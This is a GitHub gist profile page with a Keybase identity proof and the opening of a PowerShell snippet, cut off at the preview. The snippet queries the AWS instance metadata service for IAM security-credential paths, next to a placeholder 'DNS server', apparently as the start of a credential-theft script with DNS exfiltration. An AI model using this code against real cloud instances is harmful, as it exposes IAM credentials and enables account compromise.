Skip to content

Instantly share code, notes, and snippets.

View JR0ch17's full-sized avatar
🏠
Working from home

Jasmin Landry JR0ch17

🏠
Working from home
View GitHub Profile
### Keybase proof
I hereby claim:
* I am jr0ch17 on github.
* I am jr0ch17 (https://keybase.io/jr0ch17) on keybase.
* I have a public key ASCHU9ePU-TcyIgVcYlI5jr_UL9rV7RNb9zNTdejKUxYFAo
To claim this, I am signing this object:
#Hardcoded DNS Server and AWS IAM meta-data path
$DNSServer = "" #Put your DNS server in here
$AWSIAMPath = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
#GET IAM role
$IAMRole = (Invoke-WebRequest $AWSIAMPath).Content
#Concatenate AWS IAM meta-data path with IAM role
$FullAWSIAMPath = [System.String]::Concat($AWSIAMPath,$IAMRole)